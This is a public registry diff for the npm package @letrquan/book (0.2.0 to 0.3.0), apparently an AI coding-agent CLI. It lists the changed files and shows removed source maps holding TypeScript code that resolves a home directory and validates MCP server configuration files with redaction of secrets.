@letrquan/book 0.2.0 → 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (157) hide show
  1. package/CHANGELOG.md +2747 -40
  2. package/README.md +132 -1311
  3. package/dist/additional-roots-H7UNAEHS.js +31 -0
  4. package/dist/{app-MOXXWEOY.js → app-GE4OHJOC.js} +5740 -4045
  5. package/dist/app-GE4OHJOC.js.map +1 -0
  6. package/dist/{chunk-5GDZ22YP.js → chunk-224FJZLH.js} +99 -108
  7. package/dist/chunk-224FJZLH.js.map +1 -0
  8. package/dist/chunk-2AAOF5B5.js +28 -0
  9. package/dist/chunk-2AAOF5B5.js.map +1 -0
  10. package/dist/{chunk-CAGOB2N4.js → chunk-4AS7LKKQ.js} +6 -4
  11. package/dist/chunk-4AS7LKKQ.js.map +1 -0
  12. package/dist/chunk-525CAZPY.js +120 -0
  13. package/dist/chunk-525CAZPY.js.map +1 -0
  14. package/dist/{chunk-URLQAXTR.js → chunk-56SIEMDX.js} +2 -2
  15. package/dist/chunk-56SIEMDX.js.map +1 -0
  16. package/dist/{chunk-XIFFTATU.js → chunk-5YHTKWJN.js} +5420 -4031
  17. package/dist/chunk-5YHTKWJN.js.map +1 -0
  18. package/dist/chunk-62QL5QUP.js +283 -0
  19. package/dist/chunk-62QL5QUP.js.map +1 -0
  20. package/dist/{chunk-KWHQ2XXL.js → chunk-67UZEWWF.js} +3 -3
  21. package/dist/chunk-67UZEWWF.js.map +1 -0
  22. package/dist/chunk-6OQQOMZR.js +785 -0
  23. package/dist/chunk-6OQQOMZR.js.map +1 -0
  24. package/dist/{chunk-GTVB4HEM.js → chunk-AQEQX4FF.js} +344 -315
  25. package/dist/chunk-AQEQX4FF.js.map +1 -0
  26. package/dist/chunk-C7ADUNPR.js +273 -0
  27. package/dist/chunk-C7ADUNPR.js.map +1 -0
  28. package/dist/{chunk-E75IPST5.js → chunk-EFJ2NH6E.js} +12 -58
  29. package/dist/chunk-EFJ2NH6E.js.map +1 -0
  30. package/dist/{chunk-5KLVH3PY.js → chunk-HQI7NYGX.js} +5 -3
  31. package/dist/chunk-HQI7NYGX.js.map +1 -0
  32. package/dist/chunk-IME7R2UI.js +6541 -0
  33. package/dist/chunk-IME7R2UI.js.map +1 -0
  34. package/dist/chunk-J4F2QLM2.js +273 -0
  35. package/dist/chunk-J4F2QLM2.js.map +1 -0
  36. package/dist/{chunk-MAQXCUR4.js → chunk-J62VZYOB.js} +444 -112
  37. package/dist/chunk-J62VZYOB.js.map +1 -0
  38. package/dist/chunk-JTPOI3KU.js +826 -0
  39. package/dist/chunk-JTPOI3KU.js.map +1 -0
  40. package/dist/{chunk-WKBO5R4O.js → chunk-KBQS35OV.js} +2 -2
  41. package/dist/chunk-KBQS35OV.js.map +1 -0
  42. package/dist/chunk-KXAYUIKP.js +90 -0
  43. package/dist/chunk-KXAYUIKP.js.map +1 -0
  44. package/dist/{chunk-VZQXX3WW.js → chunk-QYBD22H5.js} +1 -1
  45. package/dist/chunk-QYBD22H5.js.map +1 -0
  46. package/dist/{chunk-V4BOYR52.js → chunk-RFJ6Q6LE.js} +763 -198
  47. package/dist/chunk-RFJ6Q6LE.js.map +1 -0
  48. package/dist/{chunk-7N4J557C.js → chunk-RT5SATF7.js} +1 -1
  49. package/dist/chunk-RT5SATF7.js.map +1 -0
  50. package/dist/{chunk-C7D4NJ2D.js → chunk-S4JMID4G.js} +68 -26
  51. package/dist/chunk-S4JMID4G.js.map +1 -0
  52. package/dist/{chunk-ANSJPYGI.js → chunk-SOW4WRQP.js} +3 -3
  53. package/dist/chunk-SOW4WRQP.js.map +1 -0
  54. package/dist/{chunk-J7MIZ5CA.js → chunk-TLX3H2CL.js} +518 -79
  55. package/dist/chunk-TLX3H2CL.js.map +1 -0
  56. package/dist/{chunk-DGMQEI6Y.js → chunk-VPNLCMVR.js} +22 -9
  57. package/dist/chunk-VPNLCMVR.js.map +1 -0
  58. package/dist/{chunk-BTZZUCLI.js → chunk-W3XFHEF4.js} +173 -29
  59. package/dist/chunk-W3XFHEF4.js.map +1 -0
  60. package/dist/{chunk-574C6MQR.js → chunk-X4NJT436.js} +130 -60
  61. package/dist/chunk-X4NJT436.js.map +1 -0
  62. package/dist/chunk-X66I2NQO.js +137 -0
  63. package/dist/chunk-X66I2NQO.js.map +1 -0
  64. package/dist/chunk-XHAO3K7I.js +18 -0
  65. package/dist/chunk-XHAO3K7I.js.map +1 -0
  66. package/dist/{chunk-3U5IBM24.js → chunk-Y2VHN7TC.js} +2 -2
  67. package/dist/chunk-Y2VHN7TC.js.map +1 -0
  68. package/dist/chunk-YC6W4EJH.js +947 -0
  69. package/dist/chunk-YC6W4EJH.js.map +1 -0
  70. package/dist/{chunk-24AXE6SP.js → chunk-ZPSZZUWF.js} +1 -1
  71. package/dist/chunk-ZPSZZUWF.js.map +1 -0
  72. package/dist/{command-approvals-6Y57VCWZ.js → command-approvals-VBIU6BLM.js} +6 -5
  73. package/dist/context-CBOBDY5Q.js +38 -0
  74. package/dist/{hook-approvals-CTUFKEJT.js → hook-approvals-ZVT4V7IM.js} +5 -5
  75. package/dist/index.js +996 -155
  76. package/dist/index.js.map +1 -1
  77. package/dist/{interactive-assets-CCAAWVKH.js → interactive-assets-T4I4SEHU.js} +13 -9
  78. package/dist/interactive-assets-T4I4SEHU.js.map +1 -0
  79. package/dist/job-runner.js +159 -111
  80. package/dist/job-runner.js.map +1 -1
  81. package/dist/job-supervisor.d.ts +2 -0
  82. package/dist/job-supervisor.js +112 -0
  83. package/dist/job-supervisor.js.map +1 -0
  84. package/dist/loader-S77OVTHH.js +18 -0
  85. package/dist/{mcp-approvals-WNPH65BK.js → mcp-approvals-HJ2VDYMC.js} +5 -5
  86. package/dist/{mcp-config-YIJIES2C.js → mcp-config-RNB5LEVE.js} +3 -3
  87. package/dist/memory-store-DZUT5HUH.js +75 -0
  88. package/dist/{model-window-store-YFVNXCIP.js → model-window-store-MTSQ5JDJ.js} +8 -4
  89. package/dist/openai-compatible-2OB54YST.js +14 -0
  90. package/dist/{permission-approvals-76PVREFD.js → permission-approvals-YLV6UC5W.js} +5 -5
  91. package/dist/permissions-DHOKF3W2.js +45 -0
  92. package/dist/sandbox-WRYTZH3D.js +41 -0
  93. package/dist/{scrollback-LUKLIBVI.js → scrollback-35ME2GFX.js} +32 -22
  94. package/dist/scrollback-35ME2GFX.js.map +1 -0
  95. package/dist/sdk.d.ts +2219 -2361
  96. package/dist/sdk.js +53 -38
  97. package/dist/sdk.js.map +1 -1
  98. package/dist/settings-loader-JUNPGAAM.js +35 -0
  99. package/dist/settings-loader-JUNPGAAM.js.map +1 -0
  100. package/dist/{shell-selection-V6QAYXPX.js → shell-selection-CDHGJ4GC.js} +2 -2
  101. package/dist/shell-selection-CDHGJ4GC.js.map +1 -0
  102. package/package.json +23 -22
  103. package/dist/app-MOXXWEOY.js.map +0 -1
  104. package/dist/chunk-24AXE6SP.js.map +0 -1
  105. package/dist/chunk-3U5IBM24.js.map +0 -1
  106. package/dist/chunk-574C6MQR.js.map +0 -1
  107. package/dist/chunk-5GDZ22YP.js.map +0 -1
  108. package/dist/chunk-5KLVH3PY.js.map +0 -1
  109. package/dist/chunk-7N4J557C.js.map +0 -1
  110. package/dist/chunk-A7JLBK2Y.js +0 -3506
  111. package/dist/chunk-A7JLBK2Y.js.map +0 -1
  112. package/dist/chunk-ANSJPYGI.js.map +0 -1
  113. package/dist/chunk-BTZZUCLI.js.map +0 -1
  114. package/dist/chunk-C7D4NJ2D.js.map +0 -1
  115. package/dist/chunk-CAGOB2N4.js.map +0 -1
  116. package/dist/chunk-DGMQEI6Y.js.map +0 -1
  117. package/dist/chunk-E75IPST5.js.map +0 -1
  118. package/dist/chunk-EYGD6X2T.js +0 -180
  119. package/dist/chunk-EYGD6X2T.js.map +0 -1
  120. package/dist/chunk-GTVB4HEM.js.map +0 -1
  121. package/dist/chunk-J7MIZ5CA.js.map +0 -1
  122. package/dist/chunk-KWHQ2XXL.js.map +0 -1
  123. package/dist/chunk-L6LK2QIQ.js +0 -657
  124. package/dist/chunk-L6LK2QIQ.js.map +0 -1
  125. package/dist/chunk-MAQXCUR4.js.map +0 -1
  126. package/dist/chunk-S4XL7HOM.js +0 -402
  127. package/dist/chunk-S4XL7HOM.js.map +0 -1
  128. package/dist/chunk-URLQAXTR.js.map +0 -1
  129. package/dist/chunk-V4BOYR52.js.map +0 -1
  130. package/dist/chunk-VZQXX3WW.js.map +0 -1
  131. package/dist/chunk-WKBO5R4O.js.map +0 -1
  132. package/dist/chunk-XIFFTATU.js.map +0 -1
  133. package/dist/context-ZC5IFEAX.js +0 -25
  134. package/dist/interactive-assets-CCAAWVKH.js.map +0 -1
  135. package/dist/loader-4IDS2RIE.js +0 -15
  136. package/dist/openai-compatible-RHZUBHV6.js +0 -10
  137. package/dist/permissions-CHCKTFQQ.js +0 -28
  138. package/dist/sandbox-CNVAQDA7.js +0 -23
  139. package/dist/scrollback-LUKLIBVI.js.map +0 -1
  140. package/dist/settings-loader-M2QP5TX2.js +0 -21
  141. package/patches/ink+6.8.0.patch +0 -13
  142. package/scripts/apply-ink-patch.mjs +0 -29
  143. package/scripts/ink-patch.mjs +0 -59
  144. package/scripts/verify-ink-patch.mjs +0 -11
  145. /package/dist/{command-approvals-6Y57VCWZ.js.map → additional-roots-H7UNAEHS.js.map} +0 -0
  146. /package/dist/{context-ZC5IFEAX.js.map → command-approvals-VBIU6BLM.js.map} +0 -0
  147. /package/dist/{hook-approvals-CTUFKEJT.js.map → context-CBOBDY5Q.js.map} +0 -0
  148. /package/dist/{loader-4IDS2RIE.js.map → hook-approvals-ZVT4V7IM.js.map} +0 -0
  149. /package/dist/{mcp-approvals-WNPH65BK.js.map → loader-S77OVTHH.js.map} +0 -0
  150. /package/dist/{mcp-config-YIJIES2C.js.map → mcp-approvals-HJ2VDYMC.js.map} +0 -0
  151. /package/dist/{model-window-store-YFVNXCIP.js.map → mcp-config-RNB5LEVE.js.map} +0 -0
  152. /package/dist/{openai-compatible-RHZUBHV6.js.map → memory-store-DZUT5HUH.js.map} +0 -0
  153. /package/dist/{permission-approvals-76PVREFD.js.map → model-window-store-MTSQ5JDJ.js.map} +0 -0
  154. /package/dist/{permissions-CHCKTFQQ.js.map → openai-compatible-2OB54YST.js.map} +0 -0
  155. /package/dist/{sandbox-CNVAQDA7.js.map → permission-approvals-YLV6UC5W.js.map} +0 -0
  156. /package/dist/{settings-loader-M2QP5TX2.js.map → permissions-DHOKF3W2.js.map} +0 -0
  157. /package/dist/{shell-selection-V6QAYXPX.js.map → sandbox-WRYTZH3D.js.map} +0 -0
@@ -1 +0,0 @@
1
- {"version":3,"sources":["../src/book-home.ts"],"sourcesContent":["import { homedir } from 'node:os';\r\nimport { join, resolve } from 'node:path';\r\n\r\n/** Resolve Book's user-global state root, allowing evaluation runs to isolate it explicitly. */\r\nexport function resolveBookHome(\r\n env: NodeJS.ProcessEnv = process.env,\r\n systemHome = homedir(),\r\n): string {\r\n const configured = env.BOOK_HOME?.trim();\r\n return configured ? resolve(configured) : join(systemHome, '.book');\r\n}\r\n"],"mappings":";AAAA,SAAS,eAAe;AACxB,SAAS,MAAM,eAAe;AAGvB,SAAS,gBACd,MAAyB,QAAQ,KACjC,aAAa,QAAQ,GACb;AACR,QAAM,aAAa,IAAI,WAAW,KAAK;AACvC,SAAO,aAAa,QAAQ,UAAU,IAAI,KAAK,YAAY,OAAO;AACpE;","names":[]}
@@ -1 +0,0 @@
1
- {"version":3,"sources":["../src/mcp-config.ts"],"sourcesContent":["import { readFileSync, existsSync } from 'fs';\r\nimport { join } from 'path';\r\nimport { resolveBookHome } from './book-home.js';\r\n\r\nexport type McpTransportType = 'stdio' | 'http' | 'sse';\r\n\r\nexport interface McpServerConfig {\r\n /** Explicit transport. Omitted means stdio when `command` is present. */\r\n type?: McpTransportType;\r\n /** Executable for stdio servers. */\r\n command?: string;\r\n args?: string[];\r\n env?: Record<string, string>;\r\n /** Optional working directory for stdio servers. */\r\n cwd?: string;\r\n /** Endpoint for HTTP/SSE servers. */\r\n url?: string;\r\n /** Additional request headers for HTTP/SSE servers. Values are never shown in diagnostics. */\r\n headers?: Record<string, string>;\r\n}\r\n\r\nconst SAFE_SERVER_NAME = /^[A-Za-z0-9_-]+$/;\r\n\r\nexport function isValidMcpServerName(name: string): boolean {\r\n return SAFE_SERVER_NAME.test(name) && !name.includes('__');\r\n}\r\n\r\ninterface McpConfigDocument {\r\n mcpServers?: Record<string, unknown>;\r\n}\r\n\r\n/** Where a server declaration came from; project declarations require approval. */\r\nexport type McpServerSource = 'user' | 'project';\r\n\r\nexport interface ResolvedMcpServer {\r\n name: string;\r\n config: McpServerConfig;\r\n source: McpServerSource;\r\n /** Config file that defined (or, on a name collision, last overrode) this server. */\r\n path: string;\r\n}\r\n\r\nexport interface McpDiagnostic {\r\n level: 'warn';\r\n message: string;\r\n server?: string;\r\n}\r\n\r\nexport type McpDiagnosticSink = (diagnostic: McpDiagnostic) => void;\r\n\r\n/** Preserves the historical stderr warning behavior for headless/SDK hosts. */\r\nexport const consoleMcpDiagnosticSink: McpDiagnosticSink = (diagnostic) => {\r\n console.warn(`⚠ ${diagnostic.message}`);\r\n};\r\n\r\nexport interface ResolveMcpServersOptions {\r\n home?: string;\r\n onDiagnostic?: McpDiagnosticSink;\r\n /** Environment used for `${VAR}` interpolation; defaults to process.env. */\r\n env?: NodeJS.ProcessEnv;\r\n}\r\n\r\ninterface ExpandedValue {\r\n value: string;\r\n missing: string[];\r\n}\r\n\r\n/**\r\n * Expand the small interpolation language used by the de-facto mcpServers\r\n * config format. We deliberately support only `${NAME}` and `${NAME:-default}`\r\n * here; shell syntax is never evaluated.\r\n */\r\nfunction expandValue(raw: string, env: NodeJS.ProcessEnv): ExpandedValue {\r\n const missing = new Set<string>();\r\n const value = raw.replace(\r\n /\\$\\{([A-Za-z_][A-Za-z0-9_]*)(?::-([^}]*))?\\}/g,\r\n (_match, name: string, fallback?: string) => {\r\n const configured = env[name];\r\n if (configured !== undefined) return configured;\r\n if (fallback !== undefined) return fallback;\r\n missing.add(name);\r\n return '';\r\n },\r\n );\r\n return { value, missing: [...missing] };\r\n}\r\n\r\nfunction expandRecord(\r\n raw: unknown,\r\n env: NodeJS.ProcessEnv,\r\n): { value: Record<string, string>; missing: string[]; invalid: string[] } {\r\n const value: Record<string, string> = {};\r\n const missing = new Set<string>();\r\n const invalid: string[] = [];\r\n if (raw === undefined) return { value, missing: [], invalid };\r\n if (!raw || typeof raw !== 'object' || Array.isArray(raw)) {\r\n return { value, missing: [], invalid: ['expected an object'] };\r\n }\r\n for (const [key, item] of Object.entries(raw as Record<string, unknown>)) {\r\n if (typeof item !== 'string') {\r\n invalid.push(`${key} must be a string`);\r\n continue;\r\n }\r\n const expanded = expandValue(item, env);\r\n value[key] = expanded.value;\r\n for (const name of expanded.missing) missing.add(name);\r\n }\r\n return { value, missing: [...missing], invalid };\r\n}\r\n\r\nfunction normalizeServerConfig(\r\n name: string,\r\n raw: unknown,\r\n env: NodeJS.ProcessEnv,\r\n): { config?: McpServerConfig; error?: string } {\r\n if (!raw || typeof raw !== 'object' || Array.isArray(raw)) {\r\n return { error: 'expected an object' };\r\n }\r\n const source = raw as Record<string, unknown>;\r\n const requestedType = source.type ?? source.transport;\r\n const type =\r\n requestedType === undefined\r\n ? source.url !== undefined\r\n ? 'http'\r\n : 'stdio'\r\n : String(requestedType).toLowerCase();\r\n if (!['stdio', 'http', 'sse'].includes(type)) {\r\n return { error: `unsupported transport type \"${String(requestedType)}\"` };\r\n }\r\n\r\n const commandExpanded =\r\n typeof source.command === 'string' ? expandValue(source.command, env) : undefined;\r\n const urlExpanded = typeof source.url === 'string' ? expandValue(source.url, env) : undefined;\r\n const missing = new Set([...(commandExpanded?.missing ?? []), ...(urlExpanded?.missing ?? [])]);\r\n const args: string[] = [];\r\n if (source.args !== undefined) {\r\n if (!Array.isArray(source.args)) return { error: 'args must be an array' };\r\n for (const [index, item] of source.args.entries()) {\r\n if (typeof item !== 'string') return { error: `args[${index}] must be a string` };\r\n const expanded = expandValue(item, env);\r\n args.push(expanded.value);\r\n for (const variable of expanded.missing) missing.add(variable);\r\n }\r\n }\r\n const envValues = expandRecord(source.env, env);\r\n const headerValues = expandRecord(source.headers, env);\r\n for (const variable of [...envValues.missing, ...headerValues.missing]) missing.add(variable);\r\n if (envValues.invalid.length > 0) return { error: `env ${envValues.invalid.join(', ')}` };\r\n if (headerValues.invalid.length > 0)\r\n return { error: `headers ${headerValues.invalid.join(', ')}` };\r\n if (missing.size > 0)\r\n return { error: `missing environment variable(s): ${[...missing].join(', ')}` };\r\n\r\n if (type === 'stdio') {\r\n if (!commandExpanded?.value.trim())\r\n return { error: 'stdio server requires a non-empty command' };\r\n const cwd = typeof source.cwd === 'string' ? expandValue(source.cwd, env) : undefined;\r\n if (cwd?.missing.length)\r\n return { error: `missing environment variable(s): ${cwd.missing.join(', ')}` };\r\n return {\r\n config: {\r\n type: 'stdio',\r\n command: commandExpanded.value,\r\n args,\r\n env: envValues.value,\r\n ...(cwd?.value ? { cwd: cwd.value } : {}),\r\n },\r\n };\r\n }\r\n\r\n if (!urlExpanded?.value.trim()) return { error: `${type} server requires a non-empty url` };\r\n let parsedUrl: URL;\r\n try {\r\n parsedUrl = new URL(urlExpanded.value);\r\n } catch {\r\n return { error: 'url must be a valid absolute URL' };\r\n }\r\n if (!['http:', 'https:'].includes(parsedUrl.protocol)) {\r\n return { error: 'url must use http:// or https://' };\r\n }\r\n if (parsedUrl.username || parsedUrl.password)\r\n return { error: 'url must not contain credentials' };\r\n return {\r\n config: {\r\n type: type as 'http' | 'sse',\r\n url: parsedUrl.toString(),\r\n headers: headerValues.value,\r\n },\r\n };\r\n}\r\n\r\n/**\r\n * Resolve the declared MCP servers with provenance.\r\n *\r\n * Sources, later wins on a name collision: <BOOK_HOME>/.book/mcp.json (user),\r\n * then <workspace>/.mcp.json (project). A project entry that overrides a\r\n * user-global name keeps `source: 'project'` so it cannot inherit the trust of\r\n * the name it shadows.\r\n */\r\nexport function resolveMcpServerList(\r\n workspace: string,\r\n options: ResolveMcpServersOptions = {},\r\n): ResolvedMcpServer[] {\r\n const onDiagnostic = options.onDiagnostic ?? consoleMcpDiagnosticSink;\r\n const env = options.env ?? process.env;\r\n const bookHome = options.home ? join(options.home, '.book') : resolveBookHome();\r\n const sources: Array<{ path: string; source: McpServerSource }> = [\r\n { path: join(bookHome, 'mcp.json'), source: 'user' },\r\n { path: join(workspace, '.mcp.json'), source: 'project' },\r\n ];\r\n const servers = new Map<string, ResolvedMcpServer>();\r\n\r\n for (const { path, source } of sources) {\r\n if (!existsSync(path)) continue;\r\n let parsed: McpConfigDocument;\r\n try {\r\n parsed = JSON.parse(readFileSync(path, 'utf-8')) as McpConfigDocument;\r\n } catch {\r\n onDiagnostic({ level: 'warn', message: `Failed to load MCP config: ${path}` });\r\n continue;\r\n }\r\n if (!parsed || typeof parsed !== 'object' || !parsed.mcpServers) continue;\r\n if (typeof parsed.mcpServers !== 'object' || Array.isArray(parsed.mcpServers)) {\r\n onDiagnostic({ level: 'warn', message: `Invalid mcpServers object: ${path}` });\r\n continue;\r\n }\r\n for (const [name, rawConfig] of Object.entries(parsed.mcpServers)) {\r\n if (!isValidMcpServerName(name)) {\r\n onDiagnostic({\r\n level: 'warn',\r\n message: `Ignoring invalid MCP server name: ${name} (${path}); use letters, numbers, hyphens, or underscores, without a double underscore`,\r\n server: name,\r\n });\r\n continue;\r\n }\r\n const normalized = normalizeServerConfig(name, rawConfig, env);\r\n if (!normalized.config) {\r\n onDiagnostic({\r\n level: 'warn',\r\n message: `Ignoring invalid MCP server config: ${name} (${path}): ${normalized.error ?? 'invalid configuration'}`,\r\n server: name,\r\n });\r\n continue;\r\n }\r\n servers.set(name, {\r\n name,\r\n source,\r\n path,\r\n config: normalized.config,\r\n });\r\n }\r\n }\r\n\r\n return [...servers.values()];\r\n}\r\n\r\n/** Merged name → config view used by doctor and ambient-run fingerprinting. */\r\nexport function loadMcpConfig(workspace: string, home?: string): Record<string, McpServerConfig> {\r\n const servers: Record<string, McpServerConfig> = {};\r\n for (const server of resolveMcpServerList(workspace, { home })) {\r\n servers[server.name] = server.config;\r\n }\r\n return servers;\r\n}\r\n\r\n/** Render one server as the exact command line a host is being asked to trust. */\r\nexport function formatMcpServerCommand(config: McpServerConfig): string {\r\n const sensitiveValues = [\r\n ...Object.values(config.env ?? {}),\r\n ...Object.values(config.headers ?? {}),\r\n ]\r\n .filter((value) => value.length >= 4)\r\n .sort((left, right) => right.length - left.length);\r\n const redact = (value: string): string => {\r\n let rendered = value;\r\n for (const sensitive of sensitiveValues)\r\n rendered = rendered.replaceAll(sensitive, '<redacted>');\r\n return rendered;\r\n };\r\n if (config.type === 'http' || config.type === 'sse' || (!config.command && config.url)) {\r\n const headers = Object.keys(config.headers ?? {}).sort();\r\n let endpoint = config.url ?? '';\r\n let queryConfigured = false;\r\n try {\r\n const url = new URL(endpoint);\r\n queryConfigured = Boolean(url.search);\r\n url.search = '';\r\n url.hash = '';\r\n endpoint = url.toString();\r\n } catch {\r\n endpoint = redact(endpoint);\r\n }\r\n const metadata = [\r\n ...(queryConfigured ? ['query configured'] : []),\r\n ...(headers.length ? [`headers: ${headers.join(', ')}`] : []),\r\n ];\r\n return `${config.type === 'sse' ? 'sse' : 'http'} ${endpoint}${metadata.length ? ` (${metadata.join('; ')})` : ''}`;\r\n }\r\n return [config.command ?? '', ...(config.args ?? [])].filter(Boolean).map(redact).join(' ');\r\n}\r\n"],"mappings":"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